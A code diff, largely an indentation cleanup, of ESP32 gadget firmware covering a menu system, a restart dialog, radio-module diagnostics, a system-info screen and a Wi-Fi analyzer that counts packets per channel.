| 220 | − | if (confirm) { | |
| 221 | − | u8g2.clearBuffer(); | |
| 222 | − | u8g2.drawStr(28, 30, "Restarting..."); | |
| 223 | − | u8g2.sendBuffer(); | |
| 224 | − | ||
| 225 | − | delay(1000); | |
| 226 | − | ESP.restart(); | |
| 227 | − | } else { | |
| 152 | + | case 5: { | |
| 153 | + | ||
| 154 | + | wifi_analyzer_start(); | |
| 155 | + | ||
| 156 | + | bool prevBack = false; | |
| 157 | + | while (1) { | |
| 158 | + | wifi_analyzer_loop(); | |
| 159 | + | bool nowBack = btnBack(); | |
| 160 | + | if (nowBack && !prevBack) { | |
| 161 | + | delay(150); | |
| 162 | + | break; | |
| 163 | + | } | |
| 164 | + | prevBack = nowBack; | |
| 165 | + | } | |
| 228 | 166 | break; | |
| 229 | − | } | |
| 230 | 167 | } | |
| 231 | 168 | ||
| 232 | − | if (btnBack()) { | |
| 233 | − | delay(150); | |
| 234 | − | break; | |
| 169 | + | case 6: | |
| 170 | + | runSystemInfoFeature(); | |
| 171 | + | break; | |
| 172 | + | case 7: | |
| 173 | + | device_check_run(); | |
| 174 | + | break; | |
| 175 | + | case 8: { | |
| 176 | + | // wait for button release | |
| 177 | + | delay(200); | |
| 178 | + | ||
| 179 | + | while (btnSelect()) | |
| 180 | + | delay(10); | |
| 181 | + | bool confirm = false; | |
| 182 | + | ||
| 183 | + | while (1) { | |
| 184 | + | u8g2.clearBuffer(); | |
| 185 | + | u8g2.setFont(u8g2_font_6x13_tr); | |
| 186 | + | ||
| 187 | + | u8g2.drawStr(18, 18, "Restart Device?"); | |
| 188 | + | ||
| 189 | + | if (confirm) { | |
| 190 | + | u8g2.drawBox(10, 35, 45, 15); | |
| 191 | + | u8g2.setDrawColor(0); | |
| 192 | + | u8g2.drawStr(20, 47, "YES"); | |
| 193 | + | u8g2.setDrawColor(1); | |
| 194 | + | ||
| 195 | + | u8g2.drawStr(75, 47, "NO"); | |
| 196 | + | } else { | |
| 197 | + | u8g2.drawStr(20, 47, "YES"); | |
| 198 | + | ||
| 199 | + | u8g2.drawBox(65, 35, 45, 15); | |
| 200 | + | u8g2.setDrawColor(0); | |
| 201 | + | u8g2.drawStr(78, 47, "NO"); | |
| 202 | + | u8g2.setDrawColor(1); | |
| 203 | + | } | |
| 204 | + | ||
| 205 | + | u8g2.sendBuffer(); | |
| 206 | + | ||
| 207 | + | if (btnLeft() || btnUp()) { | |
| 208 | + | confirm = true; | |
| 209 | + | delay(150); | |
| 210 | + | } | |
| 211 | + | ||
| 212 | + | if (btnRight() || btnDown()) { | |
| 213 | + | confirm = false; | |
| 214 | + | delay(150); | |
| 215 | + | } | |
| 216 | + | ||
| 217 | + | if (btnSelect()) { | |
| 218 | + | delay(150); | |
| 219 | + | ||
| 220 | + | if (confirm) { | |
| 221 | + | u8g2.clearBuffer(); | |
| 222 | + | u8g2.drawStr(28, 30, "Restarting..."); | |
| 223 | + | u8g2.sendBuffer(); | |
| 224 | + | ||
| 225 | + | delay(1000); | |
| 226 | + | ESP.restart(); | |
| 227 | + | } else { | |
| 228 | + | break; | |
| 229 | + | } | |
| 230 | + | } | |
| 231 | + | ||
| 232 | + | if (btnBack()) { | |
| 233 | + | delay(150); | |
| 234 | + | break; | |
| 235 | + | } | |
| 236 | + | } | |
| 237 | + | } break; | |
| 238 | + | ||
| 239 | + | case 9: | |
| 240 | + | // Begin Ble mouse | |
| 241 | + | bleMouse.begin(); | |
| 242 | + | ble_mouse_run(); | |
| 243 | + | break; | |
| 244 | + | case 10: | |
| 245 | + | pn532_scan_loop(); | |
| 246 | + | break; | |
| 235 | 247 | } | |
| 236 | − | } | |
| 237 | − | } break; | |
| 238 | − | ||
| 239 | − | case 9: | |
| 240 | − | // Begin Ble mouse | |
| 241 | − | bleMouse.begin(); | |
| 242 | − | ble_mouse_run(); | |
| 243 | − | break; | |
| 244 | − | case 10: | |
| 245 | − | pn532_scan_loop(); | |
| 246 | − | break; | |
| 248 | + | } else if (currentMenu == &badusbMenu) { | |
| 249 | + | badUSBMenu(menuIndex); | |
| 250 | + | } else if (currentMenu == &nrfToolsMenu) { | |
| 251 | + | NRFToolsMenu(menuIndex); | |
| 247 | 252 | } | |
| 248 | − | } else if (currentMenu == &badusbMenu) { | |
| 249 | − | badUSBMenu(menuIndex); | |
| 250 | − | } else if (currentMenu == &nrfToolsMenu) { | |
| 251 | − | NRFToolsMenu(menuIndex); | |
| 252 | − | } | |
| 253 | 253 | ||
| 254 | − | insideFeature = false; | |
| 254 | + | insideFeature = false; | |
| 255 | 255 | ||
| 256 | − | drawMenu(); | |
| 256 | + | drawMenu(); | |
| 257 | 257 | } | |
| 258 | 258 | ||
| 259 | 259 | // ================= INIT ================= | |
| 260 | 260 | ||
| 261 | 261 | void menuInit() { | |
| 262 | − | currentMenu = &mainMenu; | |
| 263 | − | menuIndex = 0; | |
| 264 | − | menuOffset = 0; | |
| 262 | + | currentMenu = &mainMenu; | |
| 263 | + | menuIndex = 0; | |
| 264 | + | menuOffset = 0; | |
| 265 | 265 | ||
| 266 | − | drawMenu(); | |
| 266 | + | drawMenu(); | |
| 267 | 267 | } | |
| 268 | 268 | ||
| 269 | 269 | // ================= LOOP ================= | |
| 270 | 270 | ||
| 271 | 271 | void menuLoop() { | |
| 272 | − | static uint32_t lastPress = 0; | |
| 272 | + | static uint32_t lastPress = 0; | |
| 273 | 273 | ||
| 274 | − | if (insideFeature) | |
| 275 | − | return; | |
| 274 | + | if (insideFeature) | |
| 275 | + | return; | |
| 276 | 276 | ||
| 277 | − | if (millis() - lastPress < 150) | |
| 278 | − | return; | |
| 277 | + | if (millis() - lastPress < 150) | |
| 278 | + | return; | |
| 279 | 279 | ||
| 280 | − | if (btnUp()) { | |
| 281 | − | menuIndex--; | |
| 280 | + | if (btnUp()) { | |
| 281 | + | menuIndex--; | |
| 282 | 282 | ||
| 283 | − | if (menuIndex < 0) | |
| 284 | − | menuIndex = currentMenu->size - 1; | |
| 283 | + | if (menuIndex < 0) | |
| 284 | + | menuIndex = currentMenu->size - 1; | |
| 285 | 285 | ||
| 286 | − | drawMenu(); | |
| 287 | − | lastPress = millis(); | |
| 288 | − | } | |
| 286 | + | drawMenu(); | |
| 287 | + | lastPress = millis(); | |
| 288 | + | } | |
| 289 | 289 | ||
| 290 | − | else if (btnDown()) { | |
| 291 | − | menuIndex++; | |
| 290 | + | else if (btnDown()) { | |
| 291 | + | menuIndex++; | |
| 292 | 292 | ||
| 293 | − | if (menuIndex >= currentMenu->size) | |
| 294 | − | menuIndex = 0; | |
| 293 | + | if (menuIndex >= currentMenu->size) | |
| 294 | + | menuIndex = 0; | |
| 295 | 295 | ||
| 296 | − | drawMenu(); | |
| 297 | − | lastPress = millis(); | |
| 298 | − | } | |
| 296 | + | drawMenu(); | |
| 297 | + | lastPress = millis(); | |
| 298 | + | } | |
| 299 | 299 | ||
| 300 | − | else if (btnSelect()) { | |
| 301 | − | launchFeature(); | |
| 302 | − | lastPress = millis(); | |
| 303 | − | } | |
| 300 | + | else if (btnSelect()) { | |
| 301 | + | launchFeature(); | |
| 302 | + | lastPress = millis(); | |
| 303 | + | } | |
| 304 | 304 | ||
| 305 | − | else if (btnBack()) { | |
| 306 | − | if (currentMenu != &mainMenu) { | |
| 307 | − | currentMenu = &mainMenu; | |
| 308 | − | menuIndex = 0; | |
| 309 | − | menuOffset = 0; | |
| 305 | + | else if (btnBack()) { | |
| 306 | + | if (currentMenu != &mainMenu) { | |
| 307 | + | currentMenu = &mainMenu; | |
| 308 | + | menuIndex = 0; | |
| 309 | + | menuOffset = 0; | |
| 310 | 310 | ||
| 311 | − | drawMenu(); | |
| 312 | − | } | |
| 311 | + | drawMenu(); | |
| 312 | + | } | |
| 313 | 313 | ||
| 314 | − | lastPress = millis(); | |
| 315 | − | } | |
| 314 | + | lastPress = millis(); | |
| 315 | + | } | |
| 316 | 316 | } | |
| @@ -1,7 +1,6 @@ | |||
| 1 | 1 | #pragma once | |
| 2 | 2 | ||
| 3 | − | struct Menu | |
| 4 | − | { | |
| 3 | + | struct Menu { | |
| 5 | 4 | const char **items; | |
| 6 | 5 | int size; | |
| 7 | 6 | }; | |
| @@ -3,12 +3,12 @@ | |||
| 3 | 3 | #include <Arduino.h> | |
| 4 | 4 | ||
| 5 | 5 | void buttonsInit() { | |
| 6 | − | pinMode(BTN_UP, INPUT_PULLUP); | |
| 7 | − | pinMode(BTN_DOWN, INPUT_PULLUP); | |
| 8 | − | pinMode(BTN_SELECT, INPUT_PULLUP); | |
| 9 | − | pinMode(BTN_BACK, INPUT_PULLUP); | |
| 10 | − | pinMode(BTN_RIGHT, INPUT_PULLUP); | |
| 11 | − | pinMode(BTN_LEFT, INPUT_PULLUP); | |
| 6 | + | pinMode(BTN_UP, INPUT_PULLUP); | |
| 7 | + | pinMode(BTN_DOWN, INPUT_PULLUP); | |
| 8 | + | pinMode(BTN_SELECT, INPUT_PULLUP); | |
| 9 | + | pinMode(BTN_BACK, INPUT_PULLUP); | |
| 10 | + | pinMode(BTN_RIGHT, INPUT_PULLUP); | |
| 11 | + | pinMode(BTN_LEFT, INPUT_PULLUP); | |
| 12 | 12 | } | |
| 13 | 13 | ||
| 14 | 14 | bool btnUp() { return !digitalRead(BTN_UP); } | |
| @@ -16,10 +16,10 @@ extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; | |||
| 16 | 16 | ||
| 17 | 17 | // ===== RESULTS ===== | |
| 18 | 18 | struct DeviceStatus { | |
| 19 | − | bool nrf1 = false; | |
| 20 | − | bool nrf2 = false; | |
| 21 | − | bool cc1101 = false; | |
| 22 | − | bool oled = true; | |
| 19 | + | bool nrf1 = false; | |
| 20 | + | bool nrf2 = false; | |
| 21 | + | bool cc1101 = false; | |
| 22 | + | bool oled = true; | |
| 23 | 23 | }; | |
| 24 | 24 | ||
| 25 | 25 | // ===== NRF CHECK ===== | |
| @@ -35,24 +35,24 @@ struct DeviceStatus { | |||
| 35 | 35 | //} | |
| 36 | 36 | ||
| 37 | 37 | bool checkNRF(RF24 &radio) { | |
| 38 | − | radio.powerDown(); | |
| 39 | − | delay(5); | |
| 38 | + | radio.powerDown(); | |
| 39 | + | delay(5); | |
| 40 | 40 | ||
| 41 | − | if (!radio.begin(RADIO_SPI)) | |
| 42 | − | return false; | |
| 41 | + | if (!radio.begin(RADIO_SPI)) | |
| 42 | + | return false; | |
| 43 | 43 | ||
| 44 | − | delay(5); | |
| 44 | + | delay(5); | |
| 45 | 45 | ||
| 46 | − | return radio.isChipConnected(); | |
| 46 | + | return radio.isChipConnected(); | |
| 47 | 47 | } | |
| 48 | 48 | ||
| 49 | 49 | // ===== CC1101 CHECK ===== | |
| 50 | 50 | bool checkCC1101(uint8_t csPin) { | |
| 51 | − | ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, csPin); | |
| 51 | + | ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, csPin); | |
| 52 | 52 | ||
| 53 | − | delay(5); | |
| 53 | + | delay(5); | |
| 54 | 54 | ||
| 55 | − | return ELECHOUSE_cc1101.getCC1101(); | |
| 55 | + | return ELECHOUSE_cc1101.getCC1101(); | |
| 56 | 56 | } | |
| 57 | 57 | ||
| 58 | 58 | // ===== DRAW ===== | |
| @@ -67,85 +67,85 @@ int selectedIndex = 0; | |||
| 67 | 67 | int offset = 0; | |
| 68 | 68 | ||
| 69 | 69 | void drawStatus(DeviceStatus &s) { | |
| 70 | − | values[0] = s.nrf1; | |
| 71 | − | values[1] = s.nrf2; | |
| 72 | − | values[2] = s.cc1101; | |
| 73 | − | values[3] = s.oled; | |
| 70 | + | values[0] = s.nrf1; | |
| 71 | + | values[1] = s.nrf2; | |
| 72 | + | values[2] = s.cc1101; | |
| 73 | + | values[3] = s.oled; | |
| 74 | 74 | ||
| 75 | − | u8g2.clearBuffer(); | |
| 76 | − | u8g2.setFont(u8g2_font_6x10_tr); | |
| 75 | + | u8g2.clearBuffer(); | |
| 76 | + | u8g2.setFont(u8g2_font_6x10_tr); | |
| 77 | 77 | ||
| 78 | − | // scrolling logic | |
| 79 | − | if (selectedIndex < offset) | |
| 80 | − | offset = selectedIndex; | |
| 78 | + | // scrolling logic | |
| 79 | + | if (selectedIndex < offset) | |
| 80 | + | offset = selectedIndex; | |
| 81 | 81 | ||
| 82 | − | if (selectedIndex >= offset + VISIBLE_ROWS) | |
| 83 | − | offset = selectedIndex - VISIBLE_ROWS + 1; | |
| 82 | + | if (selectedIndex >= offset + VISIBLE_ROWS) | |
| 83 | + | offset = selectedIndex - VISIBLE_ROWS + 1; | |
| 84 | 84 | ||
| 85 | − | for (int i = 0; i < VISIBLE_ROWS; i++) { | |
| 86 | − | int item = offset + i; | |
| 87 | − | if (item >= MAX_ITEMS) | |
| 88 | − | break; | |
| 85 | + | for (int i = 0; i < VISIBLE_ROWS; i++) { | |
| 86 | + | int item = offset + i; | |
| 87 | + | if (item >= MAX_ITEMS) | |
| 88 | + | break; | |
| 89 | 89 | ||
| 90 | − | int y = 12 + i * 10; | |
| 90 | + | int y = 12 + i * 10; | |
| 91 | 91 | ||
| 92 | − | if (item == selectedIndex) { | |
| 93 | − | u8g2.drawBox(0, y - 9, 128, 10); | |
| 94 | − | u8g2.setDrawColor(0); | |
| 95 | − | } | |
| 92 | + | if (item == selectedIndex) { | |
| 93 | + | u8g2.drawBox(0, y - 9, 128, 10); | |
| 94 | + | u8g2.setDrawColor(0); | |
| 95 | + | } | |
| 96 | 96 | ||
| 97 | − | u8g2.drawStr(2, y, labels[item]); | |
| 97 | + | u8g2.drawStr(2, y, labels[item]); | |
| 98 | 98 | ||
| 99 | − | if (values[item]) | |
| 100 | − | u8g2.drawStr(80, y, "OK"); | |
| 101 | − | else | |
| 102 | − | u8g2.drawStr(80, y, "FAIL"); | |
| 99 | + | if (values[item]) | |
| 100 | + | u8g2.drawStr(80, y, "OK"); | |
| 101 | + | else | |
| 102 | + | u8g2.drawStr(80, y, "FAIL"); | |
| 103 | 103 | ||
| 104 | − | if (item == selectedIndex) | |
| 105 | − | u8g2.setDrawColor(1); | |
| 106 | − | } | |
| 104 | + | if (item == selectedIndex) | |
| 105 | + | u8g2.setDrawColor(1); | |
| 106 | + | } | |
| 107 | 107 | ||
| 108 | − | u8g2.sendBuffer(); | |
| 108 | + | u8g2.sendBuffer(); | |
| 109 | 109 | } | |
| 110 | 110 | ||
| 111 | 111 | // ===== MAIN ===== | |
| 112 | 112 | void device_check_run() { | |
| 113 | − | DeviceStatus status; | |
| 114 | − | ||
| 115 | − | Serial.println("Running device diagnostics..."); | |
| 116 | − | ||
| 117 | − | // NRF | |
| 118 | − | status.nrf1 = checkNRF(radio1); | |
| 119 | − | status.nrf2 = checkNRF(radio2); | |
| 113 | + | DeviceStatus status; | |
| 120 | 114 | ||
| 121 | − | // CC1101 | |
| 122 | − | status.cc1101 = checkCC1101(CC1101_CS); | |
| 123 | − | // status.cc1101 = true; | |
| 115 | + | Serial.println("Running device diagnostics..."); | |
| 124 | 116 | ||
| 125 | − | drawStatus(status); | |
| 117 | + | // NRF | |
| 118 | + | status.nrf1 = checkNRF(radio1); | |
| 119 | + | status.nrf2 = checkNRF(radio2); | |
| 126 | 120 | ||
| 127 | − | Serial.println("Diagnostics complete"); | |
| 121 | + | // CC1101 | |
| 122 | + | status.cc1101 = checkCC1101(CC1101_CS); | |
| 123 | + | // status.cc1101 = true; | |
| 128 | 124 | ||
| 129 | − | while (1) { | |
| 130 | 125 | drawStatus(status); | |
| 131 | 126 | ||
| 132 | − | if (btnUp()) { | |
| 133 | − | selectedIndex--; | |
| 134 | − | if (selectedIndex < 0) | |
| 135 | − | selectedIndex = MAX_ITEMS - 1; | |
| 136 | − | delay(150); | |
| 137 | − | } | |
| 138 | − | ||
| 139 | − | if (btnDown()) { | |
| 140 | − | selectedIndex++; | |
| 141 | − | if (selectedIndex >= MAX_ITEMS) | |
| 142 | − | selectedIndex = 0; | |
| 143 | − | delay(150); | |
| 144 | − | } | |
| 145 | − | ||
| 146 | − | if (btnBack()) { | |
| 147 | − | delay(150); | |
| 148 | − | break; | |
| 127 | + | Serial.println("Diagnostics complete"); | |
| 128 | + | ||
| 129 | + | while (1) { | |
| 130 | + | drawStatus(status); | |
| 131 | + | ||
| 132 | + | if (btnUp()) { | |
| 133 | + | selectedIndex--; | |
| 134 | + | if (selectedIndex < 0) | |
| 135 | + | selectedIndex = MAX_ITEMS - 1; | |
| 136 | + | delay(150); | |
| 137 | + | } | |
| 138 | + | ||
| 139 | + | if (btnDown()) { | |
| 140 | + | selectedIndex++; | |
| 141 | + | if (selectedIndex >= MAX_ITEMS) | |
| 142 | + | selectedIndex = 0; | |
| 143 | + | delay(150); | |
| 144 | + | } | |
| 145 | + | ||
| 146 | + | if (btnBack()) { | |
| 147 | + | delay(150); | |
| 148 | + | break; | |
| 149 | + | } | |
| 149 | 150 | } | |
| 150 | − | } | |
| 151 | 151 | } | |
| @@ -5,80 +5,80 @@ | |||
| 5 | 5 | #include <esp_heap_caps.h> | |
| 6 | 6 | ||
| 7 | 7 | void runSystemInfoFeature() { | |
| 8 | − | esp_chip_info_t chip_info; | |
| 8 | + | esp_chip_info_t chip_info; | |
| 9 | 9 | ||
| 10 | − | esp_chip_info(&chip_info); | |
| 10 | + | esp_chip_info(&chip_info); | |
| 11 | 11 | ||
| 12 | − | while (true) { | |
| 13 | − | // u8g2.clearBuffer(); | |
| 12 | + | while (true) { | |
| 13 | + | // u8g2.clearBuffer(); | |
| 14 | 14 | ||
| 15 | − | // char buf[32]; | |
| 15 | + | // char buf[32]; | |
| 16 | 16 | ||
| 17 | − | // sprintf(buf, "Cores: %d", chip_info.cores); | |
| 18 | − | // u8g2.drawStr(0, 14, buf); | |
| 17 | + | // sprintf(buf, "Cores: %d", chip_info.cores); | |
| 18 | + | // u8g2.drawStr(0, 14, buf); | |
| 19 | 19 | ||
| 20 | − | // sprintf(buf, "Heap: %d", | |
| 21 | − | // heap_caps_get_free_size(MALLOC_CAP_DEFAULT)); | |
| 22 | − | // u8g2.drawStr(0, 28, buf); | |
| 20 | + | // sprintf(buf, "Heap: %d", | |
| 21 | + | // heap_caps_get_free_size(MALLOC_CAP_DEFAULT)); | |
| 22 | + | // u8g2.drawStr(0, 28, buf); | |
| 23 | 23 | ||
| 24 | − | // u8g2.drawStr(0, 60, "BACK to exit"); | |
| 24 | + | // u8g2.drawStr(0, 60, "BACK to exit"); | |
| 25 | 25 | ||
| 26 | − | // Get RAM info | |
| 27 | − | size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT); | |
| 28 | − | size_t totalHeap = heap_caps_get_total_size(MALLOC_CAP_DEFAULT); | |
| 29 | − | int ramUsage = 100 - ((freeHeap * 100) / totalHeap); | |
| 26 | + | // Get RAM info | |
| 27 | + | size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT); | |
| 28 | + | size_t totalHeap = heap_caps_get_total_size(MALLOC_CAP_DEFAULT); | |
| 29 | + | int ramUsage = 100 - ((freeHeap * 100) / totalHeap); | |
| 30 | 30 | ||
| 31 | − | // Get Flash info | |
| 32 | − | // uint32_t flashSize = spi_flash_get_chip_size(); | |
| 33 | − | uint32_t flashSize = ESP.getFlashChipSize(); | |
| 34 | − | uint32_t flashUsed = ESP.getSketchSize(); | |
| 35 | − | int flashUsage = (flashUsed * 100) / flashSize; | |
| 31 | + | // Get Flash info | |
| 32 | + | // uint32_t flashSize = spi_flash_get_chip_size(); | |
| 33 | + | uint32_t flashSize = ESP.getFlashChipSize(); | |
| 34 | + | uint32_t flashUsed = ESP.getSketchSize(); | |
| 35 | + | int flashUsage = (flashUsed * 100) / flashSize; | |
| 36 | 36 | ||
| 37 | − | // Temperature (approx) | |
| 38 | − | uint8_t temperature = temperatureRead(); | |
| 37 | + | // Temperature (approx) | |
| 38 | + | uint8_t temperature = temperatureRead(); | |
| 39 | 39 | ||
| 40 | − | // Chip info | |
| 41 | − | esp_chip_info_t chip_info; | |
| 42 | − | esp_chip_info(&chip_info); | |
| 40 | + | // Chip info | |
| 41 | + | esp_chip_info_t chip_info; | |
| 42 | + | esp_chip_info(&chip_info); | |
| 43 | 43 | ||
| 44 | − | u8g2.clearBuffer(); | |
| 45 | − | u8g2.setFont(u8g2_font_6x12_tr); | |
| 44 | + | u8g2.clearBuffer(); | |
| 45 | + | u8g2.setFont(u8g2_font_6x12_tr); | |
| 46 | 46 | ||
| 47 | − | char buf[32]; | |
| 47 | + | char buf[32]; | |
| 48 | 48 | ||
| 49 | − | // Box 1 - RAM | |
| 50 | − | u8g2.drawFrame(0, 0, 128, 12); | |
| 51 | − | sprintf(buf, "RAM: %d%% used", ramUsage); | |
| 52 | − | u8g2.drawStr(4, 9, buf); | |
| 49 | + | // Box 1 - RAM | |
| 50 | + | u8g2.drawFrame(0, 0, 128, 12); | |
| 51 | + | sprintf(buf, "RAM: %d%% used", ramUsage); | |
| 52 | + | u8g2.drawStr(4, 9, buf); | |
| 53 | 53 | ||
| 54 | − | // Box 2 - Flash | |
| 55 | − | u8g2.drawFrame(0, 12, 128, 12); | |
| 56 | − | sprintf(buf, "Flash: %d%% used", flashUsage); | |
| 57 | − | u8g2.drawStr(4, 21, buf); | |
| 54 | + | // Box 2 - Flash | |
| 55 | + | u8g2.drawFrame(0, 12, 128, 12); | |
| 56 | + | sprintf(buf, "Flash: %d%% used", flashUsage); | |
| 57 | + | u8g2.drawStr(4, 21, buf); | |
| 58 | 58 | ||
| 59 | − | // Box 3 - Temp (FULL WIDTH now) | |
| 60 | − | u8g2.drawFrame(0, 24, 128, 12); | |
| 61 | − | sprintf(buf, "Temp: %d C", temperature); | |
| 62 | − | u8g2.drawStr(4, 33, buf); | |
| 59 | + | // Box 3 - Temp (FULL WIDTH now) | |
| 60 | + | u8g2.drawFrame(0, 24, 128, 12); | |
| 61 | + | sprintf(buf, "Temp: %d C", temperature); | |
| 62 | + | u8g2.drawStr(4, 33, buf); | |
| 63 | 63 | ||
| 64 | − | // Box 4 - Chip info (FULL WIDTH) | |
| 65 | − | u8g2.drawFrame(0, 36, 128, 12); | |
| 66 | − | sprintf(buf, "Cores: %d Rev: %d", chip_info.cores, chip_info.revision); | |
| 67 | − | u8g2.drawStr(4, 45, buf); | |
| 64 | + | // Box 4 - Chip info (FULL WIDTH) | |
| 65 | + | u8g2.drawFrame(0, 36, 128, 12); | |
| 66 | + | sprintf(buf, "Cores: %d Rev: %d", chip_info.cores, chip_info.revision); | |
| 67 | + | u8g2.drawStr(4, 45, buf); | |
| 68 | 68 | ||
| 69 | − | // Box 5 - PSRAM (KB) | |
| 70 | − | u8g2.drawFrame(0, 48, 128, 12); | |
| 71 | − | sprintf(buf, "PSRAM: %lu KB", | |
| 72 | − | heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024); | |
| 73 | − | u8g2.drawStr(4, 57, buf); | |
| 69 | + | // Box 5 - PSRAM (KB) | |
| 70 | + | u8g2.drawFrame(0, 48, 128, 12); | |
| 71 | + | sprintf(buf, "PSRAM: %lu KB", | |
| 72 | + | heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024); | |
| 73 | + | u8g2.drawStr(4, 57, buf); | |
| 74 | 74 | ||
| 75 | − | u8g2.sendBuffer(); | |
| 75 | + | u8g2.sendBuffer(); | |
| 76 | 76 | ||
| 77 | − | if (btnBack()) { | |
| 78 | − | delay(200); | |
| 79 | − | return; | |
| 80 | − | } | |
| 77 | + | if (btnBack()) { | |
| 78 | + | delay(200); | |
| 79 | + | return; | |
| 80 | + | } | |
| 81 | 81 | ||
| 82 | − | delay(100); | |
| 83 | − | } | |
| 82 | + | delay(100); | |
| 83 | + | } | |
| 84 | 84 | } | |
| @@ -14,123 +14,124 @@ | |||
| 14 | 14 | ||
| 15 | 15 | // ===== STATE ===== | |
| 16 | 16 | struct SnifferGraph { | |
| 17 | − | uint8_t graphData[MAX_POINTS]; | |
| 18 | − | uint8_t currentChannel = 1; | |
| 19 | − | volatile uint16_t packetCounter = 0; | |
| 20 | − | unsigned long lastChannelSwitch = 0; | |
| 21 | − | unsigned long lastUpdate = 0; | |
| 17 | + | uint8_t graphData[MAX_POINTS]; | |
| 18 | + | uint8_t currentChannel = 1; | |
| 19 | + | volatile uint16_t packetCounter = 0; | |
| 20 | + | unsigned long lastChannelSwitch = 0; | |
| 21 | + | unsigned long lastUpdate = 0; | |
| 22 | 22 | }; | |
| 23 | 23 | ||
| 24 | 24 | static SnifferGraph sniffer; | |
| 25 | 25 | ||
| 26 | 26 | // ===== CALLBACK ===== | |
| 27 | 27 | void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type) { | |
| 28 | − | if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL) { | |
| 29 | − | sniffer.packetCounter++; | |
| 30 | − | } | |
| 28 | + | if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || | |
| 29 | + | type == WIFI_PKT_CTRL) { | |
| 30 | + | sniffer.packetCounter++; | |
| 31 | + | } | |
| 31 | 32 | } | |
| 32 | 33 | ||
| 33 | 34 | // ===== INIT ===== | |
| 34 | 35 | void wifi_analyzer_start() { | |
| 35 | − | // display init (safe to call again) | |
| 36 | − | u8g2.clearBuffer(); | |
| 37 | − | u8g2.setFont(u8g2_font_5x8_tr); | |
| 38 | − | u8g2.drawStr(0, 10, "Starting analyzer..."); | |
| 39 | − | u8g2.sendBuffer(); | |
| 40 | − | ||
| 41 | − | // reset graph | |
| 42 | − | memset(sniffer.graphData, 0, sizeof(sniffer.graphData)); | |
| 43 | − | sniffer.packetCounter = 0; | |
| 44 | − | sniffer.currentChannel = 1; | |
| 45 | − | ||
| 46 | − | // reset WiFi | |
| 47 | − | WiFi.disconnect(true, true); | |
| 48 | − | esp_wifi_stop(); | |
| 49 | − | delay(200); | |
| 50 | − | esp_wifi_deinit(); | |
| 51 | − | ||
| 52 | − | wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); | |
| 53 | − | esp_wifi_init(&cfg); | |
| 54 | − | esp_wifi_set_storage(WIFI_STORAGE_RAM); | |
| 55 | − | esp_wifi_set_mode(WIFI_MODE_NULL); | |
| 56 | − | esp_wifi_start(); | |
| 57 | − | ||
| 58 | − | esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE); | |
| 59 | − | esp_wifi_set_promiscuous_rx_cb(snifferCallback); | |
| 60 | − | esp_wifi_set_promiscuous(true); | |
| 36 | + | // display init (safe to call again) | |
| 37 | + | u8g2.clearBuffer(); | |
| 38 | + | u8g2.setFont(u8g2_font_5x8_tr); | |
| 39 | + | u8g2.drawStr(0, 10, "Starting analyzer..."); | |
| 40 | + | u8g2.sendBuffer(); | |
| 41 | + | ||
| 42 | + | // reset graph | |
| 43 | + | memset(sniffer.graphData, 0, sizeof(sniffer.graphData)); | |
| 44 | + | sniffer.packetCounter = 0; | |
| 45 | + | sniffer.currentChannel = 1; | |
| 46 | + | ||
| 47 | + | // reset WiFi | |
| 48 | + | WiFi.disconnect(true, true); | |
| 49 | + | esp_wifi_stop(); | |
| 50 | + | delay(200); | |
| 51 | + | esp_wifi_deinit(); | |
| 52 | + | ||
| 53 | + | wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); | |
| 54 | + | esp_wifi_init(&cfg); | |
| 55 | + | esp_wifi_set_storage(WIFI_STORAGE_RAM); | |
| 56 | + | esp_wifi_set_mode(WIFI_MODE_NULL); | |
| 57 | + | esp_wifi_start(); | |
| 58 | + | ||
| 59 | + | esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE); | |
| 60 | + | esp_wifi_set_promiscuous_rx_cb(snifferCallback); | |
| 61 | + | esp_wifi_set_promiscuous(true); | |
| 61 | 62 | } | |
| 62 | 63 | ||
| 63 | 64 | // ===== HELPERS ===== | |
| 64 | 65 | static void switchChannel() { | |
| 65 | − | sniffer.currentChannel++; | |
| 66 | − | if (sniffer.currentChannel > 13) | |
| 67 | − | sniffer.currentChannel = 1; | |
| 66 | + | sniffer.currentChannel++; | |
| 67 | + | if (sniffer.currentChannel > 13) | |
| 68 | + | sniffer.currentChannel = 1; | |
| 68 | 69 | ||
| 69 | − | esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE); | |
| 70 | + | esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE); | |
| 70 | 71 | } | |
| 71 | 72 | ||
| 72 | 73 | static void updateGraph(uint8_t value) { | |
| 73 | − | for (int i = 0; i < MAX_POINTS - 1; i++) { | |
| 74 | − | sniffer.graphData[i] = sniffer.graphData[i + 1]; | |
| 75 | − | } | |
| 74 | + | for (int i = 0; i < MAX_POINTS - 1; i++) { | |
| 75 | + | sniffer.graphData[i] = sniffer.graphData[i + 1]; | |
| 76 | + | } | |
| 76 | 77 | ||
| 77 | − | sniffer.graphData[MAX_POINTS - 1] = value; | |
| 78 | + | sniffer.graphData[MAX_POINTS - 1] = value; | |
| 78 | 79 | } | |
| 79 | 80 | ||
| 80 | 81 | static void drawGraph(uint16_t pktCount) { | |
| 81 | − | u8g2.clearBuffer(); | |
| 82 | − | u8g2.setFont(u8g2_font_5x8_tr); | |
| 82 | + | u8g2.clearBuffer(); | |
| 83 | + | u8g2.setFont(u8g2_font_5x8_tr); | |
| 83 | 84 | ||
| 84 | − | char line1[16]; | |
| 85 | − | char line2[16]; | |
| 85 | + | char line1[16]; | |
| 86 | + | char line2[16]; | |
| 86 | 87 | ||
